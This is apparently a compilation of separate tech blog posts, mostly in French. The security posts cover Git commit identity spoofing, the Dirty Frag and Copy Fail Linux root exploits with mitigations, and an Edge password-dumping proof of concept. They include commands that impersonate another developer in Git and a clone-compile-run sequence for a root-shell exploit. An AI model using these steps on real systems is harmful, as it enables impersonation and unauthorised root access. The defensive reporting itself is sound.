Vous avez confiance dans le nom qui est affiché à côté d'un commit GitHub ?

Bah vous pouvez arrêter tout de suite car le chercheur Shani Lavi a documenté il y a quelques années ce que les devs Git sérieux savent depuis longtemps : N'importe qui peut publier un commit avec n'importe quelle identité, et bien sûr, on peut systématiquement compter sur GitHub pour lier ce commit au profil correspondant sans broncher.

Allez, petite démonstration récente... Sur le repo no-as-a-service , il y a par exemple un commit signé "torvalds" qui ajoute un témoignage humoristique de Linus Torvalds dans le README. L'avatar de Linus s'affiche, et GitHub considère ça comme un commit parfaitement valide. Sauf que Linus n'a évidemment jamais touché ce projet humoristique qui est une petite API qui sort des excuses créatives pour dire "non".

Et ce qui est fou, c'est que vous pouvez faire pareil en dix secondes, et c'est ce qu'on va faire ensemble. Mais avant...

Pourquoi Git laisse passer ça

Git, à la base, c'est un système distribué. Quand vous faites un commit, votre client local prend alors deux infos dans votre config : user.name et user.email. Ces deux champs sont libres, et jamais validés côté client. Vous pouvez donc écrire ce que vous voulez dedans, et Git s'en fiche.

Côté GitHub, l'attribution se fait par l'email. Le service regarde alors l'email présent dans les métadonnées du commit, le compare aux emails enregistrés sur les comptes, et affiche le profil + l'avatar Gravatar correspondant. En fait, il n'y a aucune vérification que la personne qui a poussé le commit possède réellement cette adresse email.

Du coup, n'importe qui qui connaît votre email public (et il est public si vous avez déjà commit en clair sur un repo) peut publier des commits avec votre identité affichée.

Étape 1 : Reproduire le spoofing (à but pédagogique évidemment)

Avant de paniquer, faisons l'exercice nous-mêmes pour bien comprendre. Dans un repo de test que vous contrôlez :

# 1. Visualiser un commit cible pour récupérer name + email
git log --format='%an <%ae>' | head -3

# 2. Reconfigurer Git avec une fausse identité
git config --global --replace-all user.name "Linus Torvalds"
git config --global --replace-all user.email "[email protected]"

# 3. Vérifier la config
git config --global --list | grep user

# 4. Faire un commit normal
echo "Hello from Linus" >> README.md
git add README.md
git commit -m "Important kernel fix"

# 5. Pousser sur votre repo
git push origin main

Allez voir le commit sur GitHub. Vous verrez l'avatar de Linus, son nom cliquable qui mène vers son profil, et surtout aucun avertissement. Pas de mot de passe demandé ni de token compromis... non, non, non, c'est juste une config locale modifiée.

Et si quelqu'un fait un fork de votre repo, ou si un mainteneur peu attentif valide un PR sur cette base, l'illusion est complète.

Étape 2 : Repérer un commit douteux

Pour ça, le badge Verified reste l'indicateur le plus utile. À côté du SHA d'un commit, GitHub affiche surtout une étiquette verte "Verified" si le commit est cryptographiquement signé avec une clé GPG ou SSH enregistrée sur le compte de l'auteur. Sinon, y'a rien du tout (par défaut). Attention quand même, l'absence de badge ne veut pas dire qu'un commit est malveillant mais juste qu'on ne peut pas garantir qui l'a écrit.

Par exemple, si vous regardez le commit e6b4218 sur no-as-a-service, vous remarquerez l'absence totale de badge. C'est le signal mais il faut encore savoir le chercher car par défaut, GitHub n'affiche AUCUN avertissement pour les commits non signés. C'est surtout ça le problème...

Étape 3 : Signer vos commits avec SSH

Alors pour vous protéger de ça, ça commence chez vous. Plus simple que GPG, la signature SSH utilise une clé que vous avez probablement déjà. Générez une clé Ed25519 si ce n'est pas fait :

ssh-keygen -t ed25519 -C "[email protected]"

Configurez Git pour signer automatiquement avec cette clé :

git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/id_ed25519.pub
git config --global commit.gpgsign true
git config --global tag.gpgsign true

Dernière étape, ajoutez votre clé publique sur GitHub dans Settings → SSH and GPG keys (1), mais cette fois en sélectionnant le type Signing Key (pas Authentication Key, c'est différent) (2). Vos prochains commits afficheront le badge "Verified" en vert.

Si vous préférez GPG, le principe est identique avec gpg.format gpg et une clé GPG. Pour le détail GPG complet, j'avais déjà couvert le sujet dans le tuto sur Thunderbird et GPG .

Étape 4 : Activer Vigilant Mode

Là, on passe à l'offensive. Vigilant Mode (3) force GitHub à afficher un statut sur tous vos commits. Les signés deviennent "Verified", les non signés deviennent "Unverified" en gros et bien visible. Plus de zone grise comme ça.

Direction même endroit dans Settings → SSH and GPG keys → Vigilant mode → Flag unsigned commits as unverified. Cochez la case. À partir de là, n'importe quel commit que GitHub vous attribue (via votre email vérifié) sans signature sera affiché comme "Unverified", ce qui rend le spoofing beaucoup plus difficile à dissimuler. Petite limite par contre, ça ne protège que votre propre identité et pas celle des contributeurs qui n'ont pas activé le mode.

La position de GitHub (et pourquoi je trouve ça discutable)

GitHub considère ce comportement comme un non-bug. Sur leur page bug bounty, l'usurpation par email Git est explicitement listée comme ineligible. Leur argument c'est que ça ne donne pas accès aux repos ni de privilèges supplémentaires, donc ce n'est pas une faille au sens strict.

Sauf que dans la vraie vie, l'identité affichée influence les décisions. Par exemple, un mainteneur qui voit un PR signé d'un contributeur connu va l'examiner avec moins de paranoïa, un journaliste qui couvre un scandale va citer "le commit de tel développeur" sans vérifier la signature, et combiné à d'autres vecteurs, ça peut devenir redoutable ! Je pense surtout aux attaques supply chain récentes type Shai-Hulud où une fois le code piégé, l'attribution Git aide à le faire passer pour légitime.

Bref, dire "ce n'est pas un bug" parce qu'il faut un autre vecteur derrière, c'est un peu facile, je trouve. Voilà, donc ne comptez pas sur Github pour vous défendre et signez vos commits, activez Vigilant Mode, et apprenez à vos collègues et amis dev à vérifier le badge "Verified" avant de merger quoi que ce soit en venant d'un inconnu... même si c'est ce bon cher Linus qui propose de réécrire le kernel en Rust avec systemd intégré ^^.

Source

Le chercheur en sécu Hyunwoo Kim vient de lâcher dans la nature Dirty Frag, un nouvel exploit kernel Linux qui enchaîne 2 vulnérabilités pour obtenir un accès root sur n'importe quelle distro majeure, avec un taux de réussite proche de 100%.

L'embargo devait tenir encore quelques semaines. Il n'a pas tenu.

Et problème (et c'est pour ça que je vous en parle) c'est que ça marche du feu de dieu, et que personne n'a encore de patch disponible !! Alerte rouge donc !!

La lignée "Dirty" a donc maintenant quatre membres. Dirty COW en 2016, avec ses 9 ans de présence silencieuse dans le kernel avant d'être découvert, Dirty Pipe en 2022, Copy Fail dont je vous parlais il y a tout juste 8 jours, découvert par une IA. Et maintenant Dirty Frag, qui s'appuie sur le même principe que Copy Fail tout en contournant sa mitigation connue.

Alors comment ça marche ?

Le concept du truc c'est l'abus d'un mécanisme tout à fait légitime du kernel Linux : splice(). Cette fonction permet de faire circuler des données entre deux descripteurs de fichiers sans les copier en mémoire. C'est très utile, très performant, mais dans certaines configurations, c'est surtout très catastrophique.

Dirty Frag exploite les modules réseau d'IPsec (ESP) et du protocole RxRPC, ainsi quand un attaquant utilise splice() pour faire passer une page du cache mémoire (disons, /usr/bin/su) dans un buffer réseau, le kernel effectue son chiffrement directement sur cette page en RAM et sans faire de copie.

Résultat, les premiers octets de /usr/bin/su en mémoire sont remplacés par du code malveillant qui ouvre un shell root. Un simple appel à su ensuite, et l'attaquant est root.

Deux CVE sont impliqués dans la chaîne. CVE-2026-43284 qui concerne les modules esp4 et esp6 et qui a été patchée depuis hier et CVE-2026-43500 qui concerne rxrpc et pour celle-ci, y'a aucun patch actuellement à l'heure où j'écris ces lignes.

Le fait de chainer les 2 exploits permet à chacun de combler les angles morts de l'autre. C'est un peu technique mais en gros, la variante ESP requiert les droits de créer un namespace utilisateur, ce qu'Ubuntu peut bloquer via AppArmor. Alors que de son côté, la variante RxRPC ne nécessite pas ce privilège, mais le module rxrpc.ko n'est chargé par défaut que sur... Ubuntu. Du coup, une fois combinés, ils couvrent toutes les distros majeures sans exception.

Hyunwoo Kim a reporté la faille aux mainteneurs des distribs le 30 avril dernier, avec un accord de divulgation coordonnée via [email protected]. Mais un tiers extérieur (appelons le "connard" ^^) a brisé l'embargo hier, d'où la publication immédiate du PoC, avec l'accord des maintainers, pour éviter qu'un exploit silencieux circule sans que personne soit prévenu.

Les versions testées et confirmées vulnérables sont donc Ubuntu 24.04.4, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44.

En gros, si vous avez un kernel compilé depuis début 2017, vous êtes dans le scope.

Tester avec Lima sur macOS

Si vous voulez reproduire ça dans un environnement contrôlé, l'idée c'est de lancer une Ubuntu 24.04 avec le kernel non patché et de faire comme ceci :

# Cloner, compiler, et lancer
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
sudo apt install gcc -y && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

Et si tout se passe bien, vous obtenez alors un shell root sans faire paniquer le kernel comme chez moi ici :

Après le test, le page cache est contaminé donc avant de faire quoi que ce soit d'autre, faut le nettoyer. :

echo 3 > /proc/sys/vm/drop_caches

Ou plus simple, redémarrez la machine car la modification est uniquement en RAM, donc un reboot permet de repartir de zéro.

Alors que faire ?

Hé bien, comme aucun patch n'est disponible pour la plupart des distros à l'heure où j'écris ces lignes, vous pouvez vous mettre en boule et pleurer. Sauf si vous êtes sous AlmaLinux car eux ont déjà poussé des kernels corrigés. Après vous pouvez aussi sécher vos larmes si vous êtes sur une autre distro, et suivre cette remédiation qui vous prendra trente secondes :

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Cette commande fait trois choses : elle blackliste les modules vulnérables pour qu'ils ne se rechargent pas au prochain boot, elle les décharge s'ils sont actifs, et elle nettoie le page cache au cas où il serait déjà corrompu.

Après c'est tranquille à faire car esp4, esp6 et rxrpc ne sont pas des modules que la plupart des machines desktop utilisent au quotidien. Les désactiver n'a donc aucun impact visible sur 99% des setups. Mais un serveur qui fait du VPN IPsec en mode transport ESP, lui, sera affecté...

En tout cas, surveillez ça de près car une fois que votre distro sortira le patch, faudra mettre à jour et rebooter.

Source : https://github.com/V4bel/dirtyfrag

J'ai vu passer un certain nombre de vidéos abordant la fermeture de YggTorrent et celle que vous conseille, c'est celle de Sylvqin.

Il a réussi à obtenir des ITW des personnes qui gravitaient autour du site mais également de celui qui a fait tomber le site grâce au hash d'une favicon :

GG Sylvqin

abonnez-vous par email

Article original écrit par Mr Xhark publié sur Blogmotion le 07/05/2026 | Pas de commentaire |
Attention : l'intégralité de ce billet est protégée par la licence Creative Commons

Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché.

En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <[email protected]> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement désactivé toutes les fonctions IA.

Quelle lose, hein ? La Product Manager Courtney Webster a poussé cette fameuse pull request #310226 des enfers le 15 avril dernier sans aucune description, et le dev dmitrivMS l'a mergée tranquillou le lendemain.

Et le résultat de tout ce bordel, vous pouvez le lire dans la PR #310226 qui a explosé sur GitHub : 372 pouces baissés contre 2 levés, 30 réactions "confused", et des dizaines de commentaires furieux.

L' issue de suivi #314311 , ouverte ensuite par dmitrivMS pour faire son point public, a elle aussi reçu un torrent de réactions virulentes. Tu m'étonnes, ils font vraiment n'importe quoi...

Maintenant si vous êtes dans ce cas, vous pouvez neutraliser ça immédiatement, ajoutez dans votre settings.json :

"git.addAICoAuthor": "off"

Au programme :

Et si David rachetait Goliath?

Uber veut devenir votre concierge de luxe

T1 2026: Où en sont les GAFAM

Le reste de l’actualité

Infos :

Animé par Patrick Beja (Bluesky, Instagram, Twitter, TikTok).

Co-animé par Cédric de Luca (Bluesky).

Produit par Patrick Beja (LinkedIn) et Fanny Cohen Moreau (LinkedIn).

Musique libre de droit par Daniel Beja

Le Rendez-vous Tech épisode 664 – Nouveau service Uber « Rent a Human » – Gamestop & eBay, Uber Go-Get, résultats GAFAM, Jensen Huang, OpenAI & Urgences, Talkie LLM 1930

---

Liens :

🎧 L’Actu Tech (podcast daily): NotPatrick.com/#lactutech

😎 Soutien sur Patreon : Patreon.com/RDVTech

🤗 Communauté Discord : NotPatrick.com/discord

Par écrit :

📰 Newsletter : NotPatrick.com/newsletter

📰 Archives NL: NotPatrick.com/archivenl

📢 WhatsApp : NotPatrick.com/whatsapp

🐤 Veille Twitter : Twitter.com/RdvTech

En vidéo :

📹 Live : Twitch.tv/NotPatrick

📺 VOD : YouTube.com/NotPatrickPodcasts

📱 TikTok : Tiktok.com/@NotNotPatrick

💁 Tous les liens : NotPatrick.com

Hébergé par Acast. Visitez acast.com/privacy pour plus d'informations.

Si vous utilisez le gestionnaire de mots de passe intégré à Microsoft Edge, et que vous le trouvez cool, hé bien accrochez-vous les amis, car Tom Jøran Sønstebyseter Rønning, chercheur norvégien en cybersécurité, vient de publier sur GitHub un PoC qui dump TOUS vos credentials en clair directement depuis la mémoire du processus du navigateur ! Et de ce que j'ai compris, Microsoft a l'air d'assumer ça tranquillou...

Et n'allez pas croire qu'activer "l'Authentification avant remplissage automatique" dans Edge règle le souci... Ça ne change absolument RIEN au problème, parce que les credentials sont chargés en clair en RAM dès l'ouverture du navigateur. Cette option bloque uniquement l'interface, et pas la mémoire. La seule vraie parade, c'est donc de basculer carrément vers un gestionnaire de mots de passe comme Bitwarden, KeePassXC, ou Mistikee car tant qu'ils restent verrouillés, ils ne chargent rien en mémoire.

Le PoC, baptisé EdgeSavedPasswordsDumper, tient en un seul fichier C#. Tom a choisi .NET Framework 3.5 plutôt qu'une version récente, parce que AMSI, l'Antimalware Scan Interface qui inspecte en temps réel le code .NET sous Windows, a une couverture vraiment réduite sur la 3.5 par rapport aux versions modernes. Du coup, le binaire passe plus facilement sous les radars des EDR et antivirus.

Maintenant, le truc, c'est que ce sujet n'est pas nouveau. En effet, en juin 2022, Zeev Ben Porat de chez CyberArk publiait déjà un papier détaillant exactement la même méthode appliquée à Chromium en général (et dont Edge découle...). Il utilisait les APIs Windows OpenProcess et ReadProcessMemory pour lire la mémoire privée des processus du navigateur et y récupérer URLs, logins, mots de passe et même cookies de session. Et à l'époque, Microsoft et Google avaient répondu en gros pareil, à savoir que c'était hors du "threat model", donc que c'était pas la peine de corriger.

Sauf que 4 ans plus tard, Tom Rønning n'arrivait pas à reproduire le dump sur Chrome avec la même méthode. En effet, le navigateur de Google semble charger ses credentials de façon plus granulaire (lazy loading, déchiffrement au besoin) plutôt que tout exposer en RAM dès l'ouverture. Alors que Edge, lui, n'a pas évolué et charge encore TOUS les credentials en clair dès le démarrage du navigateur, qu'on en ait besoin ou pas, et surtout les garde en mémoire tant que le processus parent tourne. Et c'est cette différence-là que Tom met en lumière avec son outil.

Après concernant la dangerosité de ce problème, faut que je nuance un peu tout ça car pour viser sa propre session Edge, l'attaquant n'a pas besoin d'être admin (un malware tournant sous votre compte y arrivera). Par contre, pour aller lire la mémoire des AUTRES utilisateurs sur la même machine, là, il faut les droits administrateur.

Et c'est surtout ce scénario que Tom met en avant dans son README. Il y parle d'un terminal server où plusieurs utilisateurs seraient connectés simultanément via RDP, et sur lequel un admin compromis pourrait dumper les mots de passe de tous les autres avec leur Edge ouvert, y compris les sessions déconnectées tant que le processus parent tourne. C'est assez spécifique quand même mais pas impossible évidemment...

Microsoft, contacté par Tom avant publication, a bien sûr répondu que le comportement était "by design"... Leur doc Edge enterprise explique même noir sur blanc que les attaques physiquement locales et les malwares sont hors du modèle de menace et qu'aucun navigateur n'est armé pour résister à un attaquant déjà infiltré dans le compte utilisateur.

C'est cohérent c'est vrai... Mais ça occulte un truc qui reste très "gênant" comme disent les ados. C'est que leur implémentation expose une surface d'attaque plus large que leurs concurrents basés sur le MÊME moteur Chromium. C'est pas normal....

Et côté communauté, ça n'a pas trainé non plus, puisque Whitecat18 sur GitHub a déjà sorti un portage Rust du PoC. C'est intéressant car Rust offre encore moins de surface AMSI que .NET 3.5 et se compile comme un binaire natif sans aucune dépendance. Donc pour un attaquant, c'est un upgrade de furtivité significatif... Et pour un défenseur, c'est surtout une raison de plus de pousser vos utilisateurs vers des vrais gestionnaires de mots de passe.

Concernant la divulgation responsable , Tom Rønning a fait les choses dans les règles : signalement à Microsoft, attente de la réponse officielle, présentation publique le 29 avril 2026 à BigBiteOfTech (l'évènement Palo Alto Networks Norway), puis publication du PoC.

Voilà... Microsoft persiste, Edge reste as-is (lumière !), et la sécurité de vos mots de passe est officiellement votre problème. Donc si vous utilisez Edge, je pense que ça vaut clairement le coup de migrer vers un gestionnaire externe... vous verrez, c'est pas la mer à boire.

Source

Sharge Go Back to the Drawing Board, with the Disk Pro 2

The Sharge Disk Pro 2 is an upcoming portable storage and connectivity device that combines the functionality of a USB hub with external SSD support in a compact, credit card-sized form factor. Developed by Sharge, the device is designed to address the increasing demand for high-speed data access, external storage expansion, and multi-port connectivity across mobile and desktop platforms. Unlike conventional USB-C hubs or portable SSDs, the Disk Pro 2 merges both roles into a single unit, while also incorporating active cooling to maintain consistent performance under sustained workloads. At launch, it will be available in two variants, Lite and Ultra, which differ in display capability and power efficiency, introducing a tiered approach not seen in the previous model.

Positioned as a follow-up to the earlier Sharge Disk Pro, this new iteration shifts away from fixed internal storage and instead introduces support for user-installed SSDs in multiple M.2 form factors. Alongside this change, the device retains key characteristics such as 10Gbps data throughput, integrated power delivery, and video output capabilities, while adding refinements including magnetic attachment and a lanyard-style data cable. The Lite version features HDMI 2.0 and a higher power draw of around 4W, while the Ultra version includes HDMI 2.1 and operates at approximately 1W, providing a more efficient option with expanded display support. The Disk Pro 2 is scheduled to launch via Kickstarter, continuing the company’s established approach of introducing new hardware through crowdfunding platforms.

Sharge Disk Pro 2 – Design & Storage

The Sharge Disk Pro 2 maintains a compact footprint, measuring approximately 90 × 61 × 11 mm, aligning closely with the dimensions of a standard credit card. This size places it firmly in the category of ultra-portable accessories, designed to be carried alongside a smartphone or laptop without requiring additional space typically associated with external drives or docking stations. The chassis follows a flat, rectangular layout with integrated components distributed to maximize internal efficiency while preserving a slim profile. A defining aspect of the design is its transparent enclosure, which exposes internal components in a style often associated with “cyberpunk” aesthetics. This approach is not purely cosmetic, as it also highlights the inclusion of active cooling hardware within a device of this size. The visible fan and internal layout reinforce the product’s positioning as a performance-oriented device rather than a passive accessory, distinguishing it from more conventional sealed USB hubs. The external design remains consistent across both Lite and Ultra variants, with no physical differentiation beyond internal configuration.

The Disk Pro 2 introduces a magnetic mounting system intended for direct attachment to compatible devices. This includes native support for MagSafe-enabled smartphones, as well as the option to use included magnetic rings for broader compatibility with non-MagSafe hardware. The goal is to reduce cable strain and improve portability by allowing the hub and connected device to function as a single unit during use, particularly in mobile workflows such as handheld video capture or on-the-go file transfers. Another physical design element is the inclusion of a detachable lanyard-style cable that supports both data and power delivery. This integrated approach removes the need for users to carry separate cables for connectivity, while also doubling as a carrying mechanism. The included cable is specified as a 24-pin pure copper design, supporting up to 10Gbps data transfer, power delivery, and DisplayPort signal passthrough.

Sharge Disk Pro 2 – Internal Hardware

At the core of the Sharge Disk Pro 2 is a multi-controller architecture described as an independent 4-chip control system. Each major function, including storage access, USB expansion, video output, and power delivery, is handled by a dedicated controller. This separation is intended to improve stability and reduce bandwidth contention when multiple ports are in use simultaneously, particularly under sustained workloads such as file transfers while outputting video and supplying power. A central feature of the internal design is the active cooling system, referred to as the “Ice-storm” fan. Operating at speeds of up to 10,000 RPM, the fan is designed to maintain consistent thermal conditions during extended data transfers. The system includes three operational modes: OFF, Auto, and Turbo. In Auto mode, fan speed adjusts based on internal temperatures, while Turbo maintains maximum cooling performance. This approach addresses a common limitation in compact hubs and SSD enclosures, where passive cooling can lead to thermal throttling under load. The cooling system is consistent across both Lite and Ultra variants, with no differentiation in thermal hardware between the two models.

Sharge Disk Pro 2 – Ports & Connections

The Sharge Disk Pro 2 integrates a total of 6 ports, combining data transfer, display output, and power delivery within a single device. These include 2 USB-C ports, 1 USB-A port, 1 HDMI output, and dual card reader slots for SD and microSD media. This configuration positions the device as a compact alternative to larger desktop docking stations, while maintaining compatibility with a wide range of peripherals and storage formats. The primary USB-C interface (USB-C1) supports 10Gbps data transfer alongside up to 100W power input, allowing the connected host device to be charged while the hub is in use. A secondary USB-C port (USB-C2) provides up to 80W power output, enabling downstream charging for connected devices. The inclusion of both input and output power delivery allows the hub to function as an intermediary between a power source and multiple connected devices without interrupting data throughput. This overall port layout remains consistent across both Lite and Ultra variants.

Sharge Disk Pro vs Sharge Disk Pro 2

The transition from the original Sharge Disk Pro to the Sharge Disk Pro 2 represents a shift in both hardware architecture and product segmentation. The Disk Pro is fundamentally an all-in-one device, combining fixed internal NVMe storage with a compact multi-port hub and active cooling, positioned as a self-contained solution for users who want storage and connectivity without additional components. It integrates storage capacities up to 4TB and was originally sold in tiered pricing depending on capacity . In contrast, the Disk Pro 2 removes onboard storage entirely and instead supports user-installed M.2 SSDs up to 8TB, changing the device into a modular enclosure and hub hybrid rather than a pre-configured storage product. This also alters the pricing structure significantly, as the Disk Pro 2 is sold as a standalone unit starting at $49 for the Lite version and $69 for the Ultra version, separating the cost of storage from the hardware itself.

Beyond storage, the Disk Pro 2 introduces clearer product tiering with Lite and Ultra variants, something not present in the original model. The Lite version reduces cost by using HDMI 2.0 and operating at a higher power draw of around 4W, while the Ultra version includes HDMI 2.1 and lowers power consumption to approximately 1W. Both retain the same core concept of combining data transfer, display output, and power delivery into a compact device, but the newer model expands connectivity with additional ports, including SD and microSD slots. Both generations maintain active cooling as a central feature, designed to prevent thermal throttling during sustained transfers, a capability that has been demonstrated in testing of the original device where performance remained stable under load . Physically, both devices share a similar credit card-sized footprint and transparent design, but the Disk Pro 2 refines usability with a detachable lanyard cable and broader magnetic compatibility. Overall, the original model prioritizes simplicity and integration, while the newer version emphasizes flexibility, lower entry cost, and configurable storage.

Sharge Disk Pro 2 – Launch Date and Price?

The Sharge Disk Pro 2 is scheduled to launch via a crowdfunding campaign on Kickstarter, with the campaign planned to go live on June 9. As with previous releases from Sharge, this approach places the product in an early-access phase prior to wider retail availability, meaning final specifications and delivery timelines may still be subject to change. The device will be offered in two distinct variants, allowing users to choose between different feature sets and efficiency profiles at launch. The entry-level Lite version is priced at $49 and features HDMI 2.0 output with a higher reported power consumption of around 4W. The higher-tier Ultra version is priced at $69 and includes HDMI 2.1 support, alongside a lower power draw of approximately 1W. Both versions are expected to ship with a 24-pin pure copper lanyard-style cable that supports data transfer, charging, and DisplayPort signal transmission. This tiered pricing structure introduces a lower entry point compared to earlier expectations, while still separating features such as display capability and power efficiency between the two models.

Join Inner Circle

Want to follow specific category? Also Read...Sharge Disk Pro 2 RevealedSharge Disk Pro ReviewSharge Disk Pro ReviewThe Sharge Loomos AI Glasses ?The Sharge Loomos AI Glasses -Sharge Disk Plus SSD EnclosureSharge Disk Plus SSD Enclosure Subscribe You can also follow specific search terms:

This description contains links to Amazon. These links will take you to some of the products mentioned in today's content. As an Amazon Associate, I earn from qualifying purchases. Visit the NASCompares Deal Finder to find the best place to buy this device in your region, based on Service, Support and Reputation - Just Search for your NAS Drive in the Box Below

Need Advice on Data Storage from an Expert?

TRY CHAT

If you like this service, please consider supporting us. We use affiliate links on the blog allowing NAScompares information and advice service to be free of charge to you.Anything you purchase on the day you click on our links will generate a small commission which isused to run the website. Here is a link for Amazon and B&H.You can also get me a Ko-fi or old school Paypal. Thanks!To find out more about how to support this advice service check HEREIf you need to fix or configure a NAS, check Fiver Have you thought about helping others with your knowledge? Find Instructions Here  

Or support us by using our affiliate links on Amazon UK and Amazon US

    

 

WE LOVE COFFEE

Florian du site IT-Connect nous présente WinBoat : une sorte de Wine améliorée qui fonctionne en déportant l'écran d'un container Windows qui tourne dans Linux, un peu à la manière d'une application Citrix ou RDS :

Cela consommera certes un peu de ressources à cause du container qui tourne en fond, mais la compatibilité sera bien meilleure qu'avec Wine. La solution est plutôt bien finie et originale, à tester !

Merci Florian pour cette découverte

abonnez-vous par email

Article original écrit par Mr Xhark publié sur Blogmotion le 01/05/2026 | Pas de commentaire |
Attention : l'intégralité de ce billet est protégée par la licence Creative Commons

Vincent en avait parlé il y a peu : Firefox 149 embarque maintenant discrètement adblock-rust , le moteur Adblock de Brave, désactivé par défaut et contrôlé uniquement par deux prefs dans about:config.

A l'origine, je vous avais parlé d'une extension mais après analyse plus approfondie, celle-ci n'est pas vraiment nécessaire. Y'a juste deux valeurs à coller dans about:config et le moteur tourne. Merci donc à François qui m'a indiqué cette méthode directe.

Étape 1 : Activer le moteur

Dans la barre d'adresse, tapez about:config et acceptez l'avertissement. Cherchez la préférence suivante :

privacy.trackingprotection.content.protection.enabled

Passez-la à true. Si elle n'existe pas encore dans votre profil, créez-la : clic droit quelque part dans la liste → Nouveau → Booléen.

Étape 2 : Charger vos listes de filtres

Cherchez ensuite cette seconde préférence :

privacy.trackingprotection.content.protection.test_list_urls

Collez-y la valeur suivante, toutes les URLs séparées par des pipes :

https://easylist.to/easylist/easylist.txt|https://easylist.to/easylist/easyprivacy.txt|https://secure.fanboy.co.nz/fanboy-cookiemonster.txt|https://raw.githubusercontent.com/uBlockOrigin/uAssets/refs/heads/master/filters/annoyances-others.txt|https://raw.githubusercontent.com/AdguardTeam/FiltersRegistry/master/filters/filter_2_Base/filter.txt|https://raw.githubusercontent.com/uBlockOrigin/uAssets/refs/heads/master/filters/filters.txt|https://raw.githubusercontent.com/AdguardTeam/FiltersRegistry/master/filters/filter_3_Spyware/filter.txt|https://pgl.yoyo.org/adservers/serverlist.php?hostformat=adblockplus&showintro=1&mimetype=plaintext

Ça couvre 8 listes : EasyList, EasyPrivacy, Fanboy Cookie Monster, uBO Annoyances (les 4 de base), plus uBO Filters, AdGuard Base, AdGuard Tracking et Peter Lowe. Si vous voulez un profil plus léger, vous pouvez supprimer des URLs avant de coller.

Petite note : le préfixe test_ dans le nom de cette pref indique que la feature est encore expérimentale dans Firefox 149. Les noms peuvent donc changer dans une version future.

Désactiver ETP (optionnel mais recommandé)

La protection contre le pistage intégrée de Firefox (ETP) et adblock-rust filtrent chacun de leur côté. C'est redondant. Pour désactiver ETP, allez dans about:preferences → Confidentialité et sécurité → Protection renforcée contre le pistage → cochez "Personnalisée", puis décochez tout ce que vous voulez confier à adblock-rust.

Limitation actuelle : adblock-rust ne gère pas encore les sélecteurs CSS de masquage d'éléments, les règles ## du style uBlock Origin. Brave les supporte déjà, Firefox devrait suivre. En attendant, quelques pubs que uBO cachait via CSS resteront visibles.

Pour le contexte technique complet sur l'intégration de ce moteur, allez lire l'article de Vincent sur l'arrivée discrète d'adblock-rust dans Firefox 149 . Et si vous voulez un guide général pour bloquer les pubs et trackers sur le web , c'est par là.

Merci à François pour la méthode et la liste de filtres !

732 octets, c'est tout ce qu'il faut pour passer de simple utilisateur à root sur n'importe quel Linux non patché compilé depuis 2017, soit la quasi-totalité des kernels. Cette faille béante s'appelle Copy Fail (CVE-2026-31431), elle a été dénichée par Taeyang Lee de chez Theori avec leur outil d'audit IA Xint Code. Et comme elle vient d'être divulguée hier sur la liste oss-security et qu'en plus, ils ont fait un joli petit site qui explique tout comme ça fonctionne, je vais essayer de tout vous expliquer !

La faille elle-même est moche mais surtout, c'est un agent IA qui l'a sorti en une heure environ. C'est un bug que la communauté kernel a laissé passer durant près de 9 ans et qui se trouve dans le sous-système crypto.

En gros, le noyau Linux expose une interface réseau spéciale pour accéder aux opérations de chiffrement depuis un programme normal, sans droits particuliers.

Et depuis 2017, une optimisation dans ce mécanisme a créé une situation bizarre : un fichier en lecture seule sur le disque, disons un binaire système, peut se retrouver dans la zone de sortie d'une opération de chiffrement .C'est la zone que votre programme a le droit de modifier.

Il suffit alors d'enchaîner un appel système particulier (splice) pour écrire 4 octets au bon endroit, on répète ça en boucle, et on modifie progressivement un binaire système de votre choix comme par exemple /usr/bin/su.

Et voilà, vous êtes root !

Maintenant, si vous administrez un serveur, le plus propre reste de patcher le kernel via votre distro. En attendant le patch, la mitigation dépend de comment votre distro a compilé le module algif_aead, et là il y a deux situations bien distinctes.

Cas 1 - Distros où le module est chargeable dynamiquement (Ubuntu, Debian, Arch, etc.). Vous le bloquez avec :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Cas 2 - Distros entreprise où le module est compilé en dur dans le kernel (RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE Enterprise...). Là, attention au piège : lsmod | grep algif_aead ne renvoie rien, mais ça ne signifie PAS que c'est désactivé. Le code est embarqué directement dans le vmlinuz, donc rmmod et la blacklist via /etc/modprobe.d/ sont sans effet (vous aurez "Module algif_aead is builtin"). La vraie mitigation passe par la kernel command line au boot :

sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot

Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via seccomp au niveau de chaque service exposé.

Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.

Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.

Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est GrapheneOS , qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du port C indépendant , un exécutable statique de 1,7 Ko sans dépendance externe.

